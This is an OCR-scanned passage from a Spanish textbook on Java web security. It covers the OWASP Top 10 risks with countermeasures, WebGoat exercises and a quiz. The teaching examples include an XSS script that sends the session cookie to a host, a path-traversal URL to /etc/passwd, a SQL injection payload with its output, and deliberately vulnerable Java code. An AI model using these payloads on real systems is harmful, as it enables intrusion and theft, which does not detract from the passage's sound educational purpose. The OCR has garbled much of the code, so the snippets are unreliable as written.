Para protegernos de este tipo de ataques, lo que deberemos es filtrar todas las
entradas de nuestras aplicaciones y escapando todos los datos que recibamos,

1.3.5 Fases de un atague XSS

A grandes rasgos podemos distinguir las siguientes fases.

F Fase 1: Identificar el codigo HTML que podriamos introducir en algunos
de los formularios que ofrece el sitio.

F Fase 2. Realizar prucbas de concepto probando diferentes casuisticas
para alterar un sitio web o llegar a robar las credenciales o cookies de los
LSUATIDS.

F Fase 3: Crear un sitio malicioso que permita llevar a cabo el robo de
credenciales, suplantacion de identidad, envio de emails
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1.3.6 Ejemplo de un atague XSS

Si una pagina web presenta una vulnerabilidad XS88 un atacante puede
aprovecharla para ejecutar cddigo que capture ¢l contenido de la coofkie v se lo envie,
El siguiente codigo Javascripl permite capturar la coofie de sesidn:

¢sCript type="text/javascript™:
new Image().src="http:/flocalhost/?*+encodeURI{document.cookie)
cfscripts

En aplicaciones con Java, para evitar esta situacion tenemos la etiqueta htip-
only, de modo que el navegador impide el acceso por medio de scripts a las cookies
gue tienen este atributo. Las cookies solo han de ser accesibles a través del protocolo
HTTP. Se configura mediante la opcion hitp-only de web.xml:

tsession-config:
<cookie-configs
thttp-onlystrued/http-only:
< fecookie-configs

tsession-configs

Otro claro ejemplo de ataque XSS lo podemos encontrar en foros, el cuerpo
del mensaje que publicamos no se valida de forma correcta. De esta forma, como
usuario del foro podria publicar un post en el que ¢l cuerpo del mensaje fuera un
iframe invisible ¥ poner una redireccion a una pagina exterior que se haya creado de
forma malintencionada para oblener datos de usuarios. Cuando yo publique el post,
todos los usuarios que lo lean, sin darse cuenta, realizardn una peticién a mi pagina
con coddigo maliciosa pudiendo, de esta forma, hacerme con los datos de sus cookies
y suplantindolos en el foro.

1.3.7 Contramedidas

Las contramedidas en este punto van destinadas a usar téenicas de validacion
de los datos de entrada vy una adecuada codificacitn de los datos de salida. La
validacidén permite la deteceidon de ataques, vy la codificacidn previene cualquier
inyecciom de secuencia de comandos en el navegador. Para ello a nivel de cddigo es
recomendable seguir las siguientes recomendaciones:

F Vahidacidén de Entradas

o Utilizar un mecanismo estandar de validacion de entrada para validar
toda la informacion entrante en términos de longitud, tipo, sintaxis, y
reglas de negocio antes de permitir gue la informacion sea visualizada
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o almacenada. Utilizar una estrategia de validacidon de “aceptar solo
lo bueno™.

e Filtrado, por ¢jemplo, con expresiones regulares.

o Listas blancas (Whitelisting).
¥ HTTPOnly Cookie Flag {Activar la opeion hitponly en el servidor web)
F Codificacion de salidas (Encoding)

o HTML Encoding

o URL Encoding

e Javascript Encoding
¥ Algunos Java frameworks Web como JSF (Java Server Faces) incluven

soporte para evitar X585 proporcionando mecanismos para emitir codigo
HTML sanitizado a partir de datos de la aplicacion.

F “Escapar” los caracteres problemdticos (=, =, °, *, &) , conviertiéndolos
en entidades HTML.

F Codificacion fuerte de salida. Asegurar que toda la informacion
suministrada por el usuario sea apropiadamente codificada (sea 150
8859-1 o UTF 8).

1.4 REFERENCIA DIRECTA INSEGURA A DBJETOS

14.1 Introduccion

Una referencia directa a un objeto se produce cuando un desarrollador
expone una referencia a un objeto de implementacidén interna, como un archivo,
directorio o clave de base de datos. Sin la comprobacion de control de acceso u
otra proteccion, los atacantes pueden manipular estas referencias para el acceso no
autorizado a datos.

14.2 Referencia directa insegura a objetos

Muchas aplicaciones presentan a los usuarios referencias a objetos internos.
Un atacante podria manipular los pardmetros de entrada a la aplicacion cambiando
estas referencias, saltindose de esta manera un control de accesos incorrectamente
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desarrollado. Con frecuencia, estas referencias apuntan a sistemas de ficheros y
bases de datos, si bien cualguier otro elemento de la aplicacidn podria ser vulnerable
por un problema de esta categoria.

Por ejemplo, podemos tener el caso ver en la URL los parametros de
forma visible en el cual podemos probar valores http:Vexample.com/
page?param=xxxx

14.3 Ejemplos

Aplicaciones vulnerables que dan acceso directo a recursos mediante URL
directas sin verificar si el usuario efectivamente estd autorizado a acceder a ellos.

Por ejemplo, en las aplicaciones de banca en linea, ¢s comn utilizar el
nimero de cuenta como clave primaria. Por consiguiente, se podria tener la tentacion
de usar esta clave directamente como pardmetro en la interfaz Web.

Aln en el caso de que el equipo de desarrollo hubiera utilizado consultas
SQL preparadas (“parameterized SQL queries™) para evitar una inyeccion SQL,
podria ser posible que un atacante modificara este parimeiro para ver o cambiar
todas las demads cuentas, si no se verifica también que el usuario es el titular de la
cuenta bancaria o estd autorizado para acceder a la misma.

Un atacante puede explotar la vulnerabilidad sencillamente adivinando o
buscando otros valores validos para el paraimetro que se estd exponiendo. Un gjemplo
de codigo vulnerable en Java, un atacante puede cambiar el pardmetro “id_cart™ para
obtener la informacidn asociada a cualquier “carrito de la compra™ de la aplicacion.

int id cart = Integer.parselnt({reguest.getParameter(™id cart™));
S5tring query = "SELECT * FROM table WHERE cartID=" + id_cart ;

En la select gque utilizariamos para recuperar los datos de la cuenta, dicho
identificador de cuenta deberia de ir también acompafiado del identificador de
usuario que sacariamos de sesidn, de estd forma, en caso de no ser el propietario, no
nos devolveria sus datos.

int id_cart = Integer.parselnt{ reguest.getParameter({™id_cart"));

User user = (User)request.getSession().getAttribute(™user"};

S5tring gquery = “SELECT * FROM table WHERE cartID=" + id_cart + ™ AND userlD="
+ user.getID();

Otro ejemplo podria ser la descarga de un fichero mal controlada.

http:fwww.sitio.org/descarga ?dir=nominad file=file_pdf
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A partir de esta URL con una peguenia modificacion, podriamos descargar
cualguier ndmina. Es mds, si no se lleva un buen control de servicios en el servidor,
podriamos descargar cualguier fichero, un ejemplo seria:

http:ffwwwasitio.org/descarga P dir=_7_/_fetcdfile=passwd

14.4 Contramedidas

La mejor proteccion es evitar presentar al usuario cualgquier referencia directa
a un objeto, mediante el uso de un pardmetro, o cualquier otro método que sea facil
de verificar, Es importante establecer una manera estindar para disefar referencias a
objetos de la aplicacion:

¥ Evitar presentar al usuario referencias a objetos privados de la aplicacion
siempre gue sea posible, por gjemplo, parimeiros, claves primarias o
nombres de fichero.

¥ Verificar la autorizacion a todos los objetos referenciados.

Verificar que todas las referencias a objetos tienen las protecciones
apropiadas.

F erificar si el usuario estd autorizado a acceder al recurso en concreto
que solicita v ¢l modo en que intenta acceder (ej., lectura, escritura,
maodificacitn)

1.5 CONFIGURACION DE SEGURIDAD INCORRECTA

15.1 Introduccion

Esta vulnerabilidad consiste en aprovechar configuraciones por defecto de
cualguiera de los elementos sobre los que funciona la aplicacion web (servidor web
y de aplicaciones, servidor de base datos).

1.5.2 Configuracion de seguridad incorrecta

Una buena seguridad requiere tener definida ¢ implementada una
configuracidon segura para la aplicacion, servidores de aplicacion, servidores web,
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base de datos, y plataforma. Todas estas configuraciones deben ser definidas,
implementadas, y mantenidas yva que por lo general no son seguras por defecto.

Las aplicaciones pueden revelar, involuntariamente, informacidn sobre su
configuracion, su funcionamiento interno, o pueden violar la privacidad a tavés de
una variedad de problemas. También pueden revelar su estado interno dependiendo
de cudnto tardan en procesar ciertas operaciones u ofreciendo diferentes respuestas
a diferentes entradas, como, por egjemplo, mostrando el mismo mensaje de error
con distintos nimeros de error. Esta informacion puede ser utilizada para lanzar, o
incluso automatizar, alaques muy potentes.

Con frecuencia las aplicaciones fallan en ¢l cifrado de trafico de redes cuando
es necesario proteger comunicaciones importantes. El cifrado (normalmente S5L)
deberia ser usado para todas las conexiones aulenticadas, especialmente piginas
accesibles desde Internet, aungue también para conexiones de bases de datos.

En caso contrario, la aplicacion puede dejar expuestos los tlestigos
de autenticacion y de sesion. Por ejemplo, el estindar de PCI exige que toda la
informacion de tarjetas de erédito transmitida a través de internet esté cifrada.

15.3 Contramedidas

Sirva como recomendacion general la actualizacién constante de los
sistemas (servidores de BBDD, web, aplicaciones, firewalls) v la eliminacion de las
configuraciones v contrasefias por defecto.

Las contramedidas en este punto van destinadas a verificar la gestion de la
configuracidn v la generacion de errores de la aplicacion. Para ello es recomendable
seguir las siguientes recomendaciones:

Verificar la gestion de configuracion

¥ Uso de guias de securizacion y buenas pricticas.

¥ Mantener actualizadas todas las plataformas.

¥ Aplicar parches y actualizaciones de seguridad en todos los componentes

de la aplicacion (librerias de terceros, servidor de aplicaciones).

Los programas de auditoria de seguridad son buenos para abarcar grandes
cantidades de pruebas para detectar fallos de seguridad, asi como la existencia de
conliguraciones por defecto.
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Verificar la generacion de errores de la aplicacion

Los desarrolladores pueden usar herramientas como WebScarab, de
OWASP, para intentar hacer que sus aplicaciones generen errores. Las aplicaciones
deberian incluir una arguitectura de gestion de errores estidndar para prevenir revelar
informacioén no deseada a los atacantes. En este punto es importante deshabilitar
o limitar la gestion de errores detallada. Deberemos manejar todos los errores que
pucdan salir v no volear nunea informacion de los sistemas en estos errores y permitir
gue dicha informacion llegue al usuario, ya que podria utilizar esta informacion para
preparar un ataque. Es decir, por supuesto que hay que informar al usuario cuando se
produce un error, pero esta informacidn habrd sido tratada v procesada por nosotros
previamente, ¥y al usuario final se le mostrard convenientemente formateada.

Por altimo, recomendarfa la auditoria peribdica de las aplicaciones
desplegadas v los entornos donde se han desplegado.

1.6 EXPOSICION DE DATOS SENSIBLES

156.1 Introduccion

Muchas aplicaciones web no protegen adecuadamente los datos sensibles,
como pueden ser tatjetas de erédito, NIF o credenciales de autenticacion. Los atacantes
pueden robar o modificar esos datos mal protegidos para llevar a cabo el fraude de
tarjetas de crédito, robo de identidad v otros delitos. Los datos confidenciales deberian
tener una proteccion extra, como el cifrado en almacenamiento o en transmision, as{
como precauciones especiales cuando se envian usando el navegador, Proteger datos
delicados con criptografia se ha convertido una parte clave de la mayoria de las
aplicaciones Web.

1.6.2 Exposicion de datos sensibles

Los principales problemas que nos podemos encontrar cuando nuestra
aplicacion expone lo datos sensibles de la misma son:

Almacenamiento criptogrifico inseguro

Las aplicaciones Java EE pocas veces utilizan las funciones criptogrificas
para proteger los datos y credenciales o las utilizan de forma incorrecta. Los
problemas mds comunes son:
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Ausencia de cifrado de datos sensibles (en las peticiones o en el
almacenamiento en BD).

Deficiencias en el uso de la criptografia: algoritmos débiles, hashes sin
sall, contrasefias simples (por defecto, predecibles o “de diccionario™).

Utilizar algoritmos no estandarizados
Uso inseguro de algoritmos de cifrado fuerte
Uso de algoritmos de criptograficamente rotos como MD35 o SHA-1

Almacenamiento de claves en sitios desprotegidos

Proteccion insuficiente en la capa de transporte

L4

r

Ausencia de proteccion del trafico de peticiones v respuestas sensibles
{credenciales de autenticaciéon, contenidos privados, etc).

Ausencia o uso inadecuado de S5L/TLS: certificados expirados, ausencia
de proteccion de URL sensibles, mezcla de URL S5L y no-S5L.

156.3 Contramedidas

Las contramedidas en este punto van destinadas a verificar los mecanismos
de cifrado y prevenir la proteccion insuficiente en la capa de transporte. Para ello es
recomendable seguir las siguientes recomendaciones:

Verificar los mecanismos de cifrado

r

L4

r

Encriptar mensajes individualmente antes de transmitirlos.
Firmar digitalmente los mensajes antes de transmitirlos.

Verificar que la comunicaciém entre componentes (gf., servidor web y
base de datos) utiliza un canal seguro.

Uso de algoritmos de cifrado como SHA256, SHAS12, AES, criptografia
de llave pablica RSA | en este puntlo no se recomienda usar MD3 ni SHA-
1 ya que criptograficamente estdn rotos.



44 SEGURIDAD EN APLICACIONES WEB JAVR ) R -M

Prevenir proteccion insuficiente en la capa de transporte
P Emplear S5L para proteger todo el trdfico relacionado con la autenticacion

¥ Se debe evitar el acceso S5L unicamente a determinados recursos de
una pagina ya que esto provoca advertencias en el navegador y puede
exponer ¢l identificador de sesibn de los usuarios.

it

¥ Comprobar que todas las cookies de sesion tienen el atributo “secure”

activado.

F El certificado debe ser legitimo y estar configurado correctamente para
este servidor.

1.7 AUSENCIA DE CONTROL DE ACCESOD A LAS FUNCIONES

1.1.1 Introduccion

La ausencia de controles {configuracion del servidor, controles a nivel de
aplicacion/framework) pueden hacer que un atacante pueda acceder a URL privadas
(consolas de administracion, pantallas de configuracion). El resultado es que usuarios
anonimos o con menos privilegios acceden a recursos y funcionalidades de usuarios
de mis alto nivel.

El acceso a URL restringidas consiste en la observacion de una URL e
intentar cambiarla para intenlar acceder a otras zonas. Estas es una de las razones
por las que la seguridad a través de la ocultacidn no es efectiva.

1.1.2 Problemaética

Muchas aplicaciones web verifican el nivel de los permisos de acceso a las
funciones antes de hacer cada funcionalidad visible en la interfaz de usuario (UL).
Sin embargo, las aplicaciones necesitan realizar las mismas comprobaciones del
control de acceso en el servidor cuando se accede a cada funcidn. 8i las solicitudes
no se verifican, los atacantes podrin falsificarlas con el objetive de acceder a
funcionalidades sin la debida autorizacion.

El peligro de este tipo de atagque es que datos que deberian solo mostrarse a
determinados usuarios quedan expuestos a personas que no deberian tener acceso a
ellos, de agui que la importancia del efecto del ataque vava desde baja, en caso de
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no tener ningin dato confidencial, hasta muy alta, en caso de tener datos de caricter
personal o privado.

El principal problema que tenemos es que no hay forma fiable de asegurar
gue se accede a cada funcion por el usuario adecuado, solamente revisando el codigo
fuente. Esta vulnerabilidad, que depende de los requisitos funcionales, deberia ser
verificada por pruebas funcionales v de seguridad. Un error comin ¢s suponer gue al
desconocerse una ubicacion es suficiente para asumir que s segura.

Por ejemplo, un posible atacante podria identificar URL del tipo fuser/
getAccounts.

La modifica apuntando a otra carpeta /admin/getAccounts, /manager/
getAccounts v de esta forma podria acceder a otras cuentas.

Las aplicaciones Java EE a menudo protegen funcionalidades sensibles
impidiendo solamente que se muestren enlaces o URL a los usuarios no autorizados,
Los atacantes pueden utilizar estas debilidades para acceder o llevar a cabo
operaciones no autorizadas, accediendo esas URL de forma directa. El atague
principal que explora esta vulnerabilidad se llama “forced browsing™ v trata de
adivinar los enlaces y encontrar las pdginas sin proteceidn mediante téenicas de
fuerza bruta.

Algunos ejemplos de este tipo de vulnerabilidades son:

F UBRL ocultos, reservados solamente para administradores o usuarios
privilegiados en la capa de presentacion, pero accesibles a todos los
usuarios si saben gque existen estas rutas.

F Las piginas utilizadas durante el desarrollo o verificacidén que sirven
de maqueta para roles de autorizacion vy se despliegan en entorno de
produccion.

¥ Las aplicaciones a menudo permiten acceso a los ficheros “ocultos”,
tales como ficheros XML estiticos o informes generados por el sistema,
confiando en gue no se sabe que estos existen.

F El codigo que solamente evalia los privilegios en la parte cliente ¥ no en
la del servidor.

Realmente este fallo, més que de programacion, es un fallo de administracion
de la autorizacion v la autenticacion. Todos sabemos que para una pagina o portal
web existen dos dmbitos principalmente, el pablico v el privado, pero en muchas
oeasiones, dentro del dmbito privado, existen diferentes niveles de acceso segin el
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usuario gue estd accediendo. Existen zonas a las que solo tendria que tener acceso un
administrador del portal, zonas a las que solo tendria que tener acceso determinado
grupo de trabajadores, pero no otro. En muchas ocasiones, estos controles de acceso
estan mal gestionados, y aungue un usuario basico no tenga ningin enlace a una zona
restringida o lo tenga deshabilitado, si escribe directamente la direccion en la barra
del navegador podrd acceder sin problemas.

1.1.3 Contramedidas

Las contramedidas en este punto van destinadas a verificar los mecanismos
de acceso a cada una de las URL definidas en la aplicacion. Para ello es recomendable
seguir las siguientes recomendaciones para cada URL:

F Restringir el acceso solo a usuarios autenticados.
F Imponer los permisos de usuario o rol.

F Deshabilitar completamente las peticiones a paginas desautorizadas (ej.,
ficheros de configuracion, ficheros de log, c¢odigo fuente, ete.).

F Realizar pruebas de intrusion antes de la implantacion o entrega del
codigo para asegurar que la aplicaciéon no puede ser usada de manera
malintencionada por un atacante externo.

1.8 FALSIFICACION DE PETICIONES EN SITIOS CRUZADOS (CSRF)

1.8.1 Introduccion

Un atague CSRF fuerza al navegador de una victima que haya iniciado
sesion a mandar una peticion falsificada HTTP, incluyendo la cookie de sesion de la
victima a una aplicacion web vulnerable, Esto permite al atacante conseguir gue ¢l
navegador de la victima genere peticiones consideradas como peticiones legitimas
cuando en realidad no lo son.

1.8.2 Falsificacion de peticiones en sitios cruzados (CSRF)

Un ataque CSRF fuerza al navegador de una victima a enviar una peticidon
a una aplicaciom web vulnerable, la cual entonces realiza la aceidn elegida a través
de la victima. Es una vulnerabilidad web que le permite a un atacante, utilizando las
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credenciales de un usuario cualquiera de una aplicacion web, realizar acciones sobre
la aplicacion sin el conocimiento del usuario.

Esto lo consigue engafiando al usuario para que ejecute codigo malicioso
{escondido en enlaces, etiquelas de imagenes y correos electronicos entre otros) gue
envia peticiones al servidor de la aplicacion desde el computador del usuario valido.
Estas peticiones son aceptadas por la aplicacion va que provienen de un navegador
confiable, ejecutando las acciones requeridas. Lo que un atacante puede conseguir
depende de las funcionalidades que permita el sitio.

Los factores que facilitan los ataques CSRF son principalmente los siguientes:

F Manejo inapropiado de credenciales: La mayoria de sitios web confian
en gue una vez gue un usuario se haya logueado, todas las peticiones que
provengan del navegador son legitimas v no se verifica si son peticiones
desde un origen diferente al del propio sitio web, Esto le permite al
atacante generar peticiones a través de cualquier medio posible, como
por gjemplo, formularios auto-egjecutables, correos electrdnicos HTML,
enlaces llamativos, etc.

F Etiquetas HTML: Muchos de los ataques CSFR se generan insertando
URL con comandos especificos en etiguetas HTML que tienen una
funcidn distinta, pero que son explotadas debido a que generan peticiones
automaticas al servidor web, las cuales no son verificadas en su contexio.

F Uso de métodos POST v GET para envio de formularios: La
informaciém de los formularios se envia al servidor por medio de los
métodos GET y POST. Se sugirid utilizar ¢l método POST solamente
va que GET envia toda la informacion en la URL de manera visible
permitiendo a un atacante obtener datos importantes para planear sus
ataques. Pero el método POST no evita el riesgo de CSFR. ya que una vez
que se tengan todos los campos del formulario, estos se pueden enviar
por medio de una funcidon JavaScript que se gjecuta en el evento onload
de la pdgina web del atacante.

1.8.3 Politica del mismo origen (SOP)

La politica del mismo origen SOP (Same Origin Policy) es un mecanismo
de seguridad de los navegadores para restringir la ejecucion de eddigo proveniente
de servidores ajenos, de forma que para que un script pueda acceder a un elemento
cualguiera del arbol DOM de la pagina cargada (datos, funciones javascripl, estilos)
debe estar cargado en un arbol DOM perteneciente al mismo dominio.
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La politica del mismo origen nos prolege del cross-site seripting con los
dominios de los servicios o URL que invocamos que son externos a nuestro dominio
y prohibe el intercambio de datos entre origenes diferentes basado en tres factores:
haost, protocolo v puerto.

Por ejemplo, si se abre el sitio http-Aexample.com/index htm, la SOP del
navegador aceptaria o rechazaria accesos a seript v datos de las siguientes fuentes:

http:Yexample. com/about htmipuerto 80): aceptado, mismo host
hitps :Aexample.comidoc. htmifpuerta 443): rechazado por diferente puerto

http:Yeoogle comisearch. phpipuerto 80): rechazado por distinto dominio

1.8.4 Contramedidas

Las contramedidas en este punto van destinadas a evitar que un posible
atacante pueda falsificar una peticion HTTP. Para ello es recomendable seguir las
siguientes recomendaciones:

¥ Afadir un foken Gnico a todas las peticiones HTTP/HTTPS.
¥ Los fokens deben ser lo suficientemente foertes o aleatorios.

F Almacenar un token Gnico en la sesiom v agregarlo en todos los formularios
v enlaces.

¥ Serecomienda el uso de campos ocultos para enviar dicho token.

F Afadir informacion relacionada con la sesion a la URL. Teniendo otra
informaciom especifica de la sesion que esté siendo generada a nivel de la
URL dificulta al atacante conocer la estructura de las URL a atacar.

<form action="/transfer.do” method="past™:
<input name="token® wvalue="6ET965fdfaewd?agrde” type="hidden"/:

</form>
P Utilizar POST en lugar de GET para los datos de formularios.

¥ Confiar en las cabeceras Referer, y permitir solo aguellas peticiones
que parezcan provenir de URL validas. Aunque las cabeceras Referer
se pueden falsificar, proporcionan una proteccion minima, por ejemplo,
inhiben atagques via correo electronico.
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Las contramedidas mas aceptadas como efectivas contra la vulnerabilidad
tienen que ver con el uso de fekens aleatorios, ocultos, que no se envien en la URL
y con un tiempo de vida corto que no le permitan al atacante adivinar facilmente
las eredenciales de un usuario v que no le den tempo suficiente para ejecutar sus
acciones.

El Cheat Sheet de prevencion de CSRF es una guia donde se describen las
consideraciones de seguridad necesarias para evitar este tipo de vulnerabilidades.

www.owasp.orgdindex. php/CSRE Prevention Cheat Sheet

1.9 USO DE COMPONENTES CON VULNERABILIDADES CONOCIDAS

19.1 Introduccion

Esta vulnerabilidad esta relacionada con fallos conocidos en servidores o
componentes de frameworks pueden ser atacados o explotados de forma automédtica.

1.9.2 Riesgos presentados

Los componentes, ya sean frameworks, librerias u otros moédulos del
software, casi siempre se ejecutan con todos los privilegios. 85i se explota un
componente vulnerable, dicho ataque podria facilitar la pérdida de datos importantes
o la toma del control del servidor. Las aplicaciones que usen componentes con
vulnerabilidades conocidas pueden afectar a las defensas de la aplicacion y permitir
un amplio abanico de posibles ataques ¢ impactos.

19.3 Ejemplos

Los componentes vulnerables pueden causar casi cualguier tipo de riesgo,
desde algo trivial a malware mas sofisticado disefiado para un objetivo especifico.
Casi siempre los componentes tienen todos los privilegios de la aplicacion, debido a
esto cualquier vulnerabilidad en un componente puede dar lugar a que la aplicacion
entera también lo sea.

Los siguientes componentes se pueden considerar vulnerables v cualguier
aplicacion que los use es susceptible de ataques:
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F

r

Apache CXF Authentication Bypass: Un atacante puede invocar
cualquier servicio web con todos los permisos debido a que no valida
correctamente el foken de autenticacion.

Spring Remote Code Execution: El uso del componente “Expression
Languaje” puede hacer que un atacante ejecute cddigo arbitrario, tomando
el control del servidor.

19.4 Contramedidas

Las contramedidas en este punto van destinadas a realizar validacion, Para
ello es recomendable seguir las siguientes recomendaciones:

r

L

ldentificar todos los componentes v la versidn que estin desplegando,
incluyendo otras dependencias del componente.

Revisar la seguridad del componente en bases de datos piblicas, listas
de correos del proyecto, listas de correo de seguridad, ¥ mantenerlos
actualizados.

Establecer politicas de seguridad que regulen el uso de componentes,
como requerir ciertas practicas en el desarrollo de software, por ejemplo,
pasar test de seguridad.

Seria recomendable afiadir capas de seguridad adicionales alrededor del
componente para deshabilitar funcionalidades no utilizadas y/o asegurar
aspectos vulnerables del componente.

1.10 REDIRECCIONES Y ENVIOS NO VALIDDS

1.10.1 Introduccion

Las aplicaciones web frecuentemente redirigen y reenvian a los usuarios
hacia otras piginas o sitios web, ¥ utilizan datos no confiables para determinar la
pagina de destino. Sin una validacion apropiada, los atacantes pueden redirigir a
las victimas hacia sitios de phishing o mabware, o utilizar reenvios para acceder a
paginas no autorizadas.
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1.10.2 Riesgos que presenta

Redirecciones gobernadas por pardmetros presentes en las URL o peticiones
HTTP. Un atacante podria construir una URL/peticidn que redirija al usuario a una
URL bajo su control lo que podria implicar robo de credenciales/sesiones/cookies.

Por ejemplo, podemos encontrar aplicaciones qué en determinadas ocasiones,
por necesidad de la propia aplicacion se realice una redireccion legitima a través de
un valor obtenidoe por un pardmetro.

Un ejemplo seria algo como:
hitp:wwwexample. orgfredirigivphp Purl=example 2 .org
Esta pagina recogeria el pardmetro v harda una redireccion a URL recibida.

JQué pasa si un atacante ha conseguido modificar ese parametro? Pues
que nuestra aplicacion estaria redirigiendo a una URL ilegitima con las posibles
consecuencias de ello.

Por ejemplo:
hitp:iwwwexample orgfrediriginphp Purl=phishing.org

Si el usuario hiciera click en el enlace con la redireccidn alterada, acabaria
sufriendo un ataque de phishing.

1.10.3 Contramedidas

Las contramedidas en este punto van destinadas a realizar la validacion
correcta de hacia donde se enviard al usuario. Para ello es recomendable seguir las
siguientes recomendaciones para cada URL:

¥ Intentar evitar el uso de redirecciones y destinos.
¥ Noutilizar pardmetros provistos por usuarios para definir la URL destino.

¥ Para las redirecciones validar la URL destino para asegurarse que sea un
sitio externo autorizado

F Sise deben utilizar dichos pardmetros, tenemos dos allernativas:

» Validar cada pardmetro para asegurarse que es vilido y se encuentra
autorizado para ¢l usuario actual,
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e Utilizar mapeos del lado del servidor para “traducir’ la opeion provista
al usuario en la verdadera pagina de destino.

A grandes rasgos, para evitar este tipo de ataques, basta con realizar las
validaciones oportunas a la hora de hacer redirecciones. Toda redireccion realizada a
partir de un pardmetro tendria que ser validada previamente comprobando que dicha
redireceibn se va a realizar a un destino vélido ¥ confiable.

1.11 EJERCICIOS

1. Completar el siguiente codigo donde se muestra un método para hacer un
insert de un objeto Usuario en la base de datos. El objetivo es realizar el
insert de un usuario con Java prepared Statements.Sustituir las xxx por
métodos v variables definidas.
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2. Instalar el proyecto WEBGOAT de OWASP y probar la vulnerabilidad de
SQL Invection detectando qué parte del cddigo es vulnerable.

La pagina oficial del proyecto es:
https wwwowasp.orgdindex php/Category:OWASP WebGoat Project
La forma més ripida de probarlo es bajarnos el fichero

hitps 53 amazonaws. com/webgoat-war/webgoat-container-7.0. [ -war-
exce.jar

y gjecutarlo con la herramienta java -jar.

java -jar webgoat-container-7.8.1-war-exec.jar

jun 85,

rg.apache.catalin
ruice Tomcat
2: H erg.apache.catalina.core. Ste rdEngine startInternal
Starting Servlet Engine: Apache Tomcat/7.8,53

Figura 1.3. Ejecucion webgoat desde linea de comandos
Con esto ya tenemos la aplicacion ejecutdndose en un servidor Apache

Tomeat embebido en el puerte BOBO. Si accedemos a la URL hitp/
localhost: 8080/ WebGoat

?:q WEBGOAT

Usarname

The following accounis are built inte Webgoat
Acoount User Password
Viishgomd Llser guest Guasd
Wishgoad admin waahgoat wltbgoat

Figura 1.4. Pantalla de login de Webgoat
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La aplicacion proporciona una serie de usuarios por defecto gue podemos
utilizar para entrar ¥ podemos encontrar formularios donde podemos
encontrar vulnerabilidades con las cudles podemos practicar.

La vulnerabilidad SQL Injection la podemos encontrar en el meni
Injection Flaws.

PAYCCSl . String SQL Injection

IECEECTY T ISR I i

m anrian Srmal o oy dtnbas-rva s e The maihnds Bshing an

i iz oo ke wp niem comproTEEE
e Sl O IR T, e S T

i EELTS
i w1 )

Tris Aoie ik o 3 Bt 3 54 SO BT, Try D enpsct a0 S S tnanresa B i ol g
e yesd, Trg s it nanes af

Figura 1.5. Pantalla SOL Injection de Webgoat

El objetive de esta pantalla es inyectar cddigo SQL en el campo de
blsqueda para obtener todos los registros de la base de datos.

En este caso bastaria con poner * OR *1'="1 para obtener todos los

regisiros.
r|E||'t| VL |zst napme : l."H '1'="1 Gl

SELECT * FROM wher data WHEARE last_nama = "' OR "17="1'

UEEREN (FIRST_MAME LAST MAME CC_NUMBER | CC_TYPE|COOKIE| LOGIN_COUNT

o Joe Snaw FATES4321 WISA K

10t e 224200065411 |MC L

10l Jahn AL I

102 Jakin 222 | AMEX L

103 Jane Flang 123456 TR WG K

103 Jane Flan= AIAGETOAIAT (AMEX I
Jally =arshey TTEAGETAD AL 0
Jalky Farahey 333300003333 | AMEX o
Grumpy wouarethewesakesdnk| 67 3234409 A h

wouarethewsakestink | 23413002333 |AMEXR l

15603 |Pater Sand 123805789 BAC 0

15803  |Peter

230892453323 | AMEX o

Figura 16. Salida SOL Injection
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En la seccidn Java Source podemos ver el codigo que estd detrds de esta
consulta:

El codigo que es vulnerable a SQL Injection es el correspondiente a la
funcién injectableQuery donde se observa codmo construye y ¢jecuta la
query:

r

protected El=nent injectshlsfusry{kebSession 3}

{

ElementLontainer ec = new ElementContalner{};
try
[

Connection connection = Databaseltilities.getConnection(s);

ec,addElement{nakeAccountLine{s));

String query = “SELECT * FROM user_data WHEAE last_name = '" + accountMame #+ *'";
e, addElesent(new PRE (Queryl )}

t ry
{
Statement statement = conrection.createStatement|ResultSet TYPE_SCAOLL_INSENSITIVE,
ResultSet, CONCUR_READ_OMLY )
ResultSet results = STatement.executeQuery {query);

if {{results != null) && (results.first() == trua})

i
S 14§47 o 3 TR Lo R VO - R
e, addE lenent (Databaselili lities writaTable(results, resultsMetabDatal);
rasults . last{);

}f If they get back mora than one usar thay succaaded
if {rasults._gatRow(] = &)
1

makeSUCCess (5]}
petiessonTracker(s).SetStage(2);

Figura 1.7. Captura de pantalla funcién injectablefuery

El codigo gue soluciona esta vulnerabilidad es el correspondiente a
la funcién parameterizedQuery donde se observa como se utilizan
prepareStatements para construir la consulta.
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'-UIWE'CEEI] Element paraveTerizedieery (WebSession 53
i

ElsmartContairnor &c = new Elsmentlortainsr{];

ec.addElenent| getLabeldanagery J.get( “5tringsqlInjectionSecondStage™] i;
if {s.getParsery ) getRavParaneter(ACCT _NBME, "YOUR_NAGME"}.equalsy{“restart™})
i
getlessant racker (5]} . geTLessonProperties ) . secProperty{STAGE, “17);
return {1njectablafuary{s]]};

I

ec.oddElensntinew BRI });
Ery

i

Connection connedtTion = RatabaseuUtllities, gecConnectionis);

ac_addElemant{makafccountLine(s1);

String query = “SELECT * FRACM user_data WHERE last _name = !
er.addElenent{new PREC que=ryl);

iry
1
PrepacedStatesent statament = connectlon. prepareStatament (quary, ResultSet.TYPE_SCAOLL_IMSEMSITIVE,
AesultSat .COROUR_READ OHLY);
statement. setString{l, accountHame);
RexyltSet results = statemest.emecutequery();

If {{results 1= null) &6 (Pesults FIPST() == Trde))
{

T e - TETIITET
ef, addElemant(Databasaltilitiss . writaTabla{rasults, resultsMetabatal);

results. last{];

1.12 RESUMEN

La seguridad en las aplicaciones web puede definirse de varias maneras
dependiendo del punto de vista. Un enfoque muy popular para proveer seguridad
es identificar las posibles vulnerabilidades de seguridad de las aplicaciones y qué
medidas habria que tomar para erradicarlas o en su defecto mitigarlas de alguna
manera. Para la tarea de identificacion de las posibles vulnerabilidades en las que
podria incurrir una aplicacién Web, se puede utilizar como referencia la informacion
gue se encuentra en el sitio del provecto OWASPE

En el sitio del proyecto OWASP se ofrece un conjunto de soluciones para
el desarrollo de aplicaciones Web en JAVA. Dichas soluciones estin orientadas a
la autorizacion, autenticacion, validacién de datos de entrada v proteceion de X585,
Toda esta informacion intenta acercar al desarrollador mecanismos de seguridad
para lograr aplicaciones web seguras.
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1.14 AUTOEVALUACION UNIDAD 1

Selecciona la respuesta correcta

1. ;Qué vulnerabilidad permite insertar un codigo SQL dentro de otro
codigo SQL para alterar su funcionamiento normal?

Inyeccion SQL

. Cross SQL Scripting
Cross Site Scripling

. Cross Site Requet Forgery

e o op

2. ;Cual es la forma mas sencilla de asegurar las consultas en base de datos
contra una inyeccion sql?

a. Concatenar los pardmetros mediante un bifer de Java

b. Es necesario usar métodos vy consultas especificas de cada base de
datos

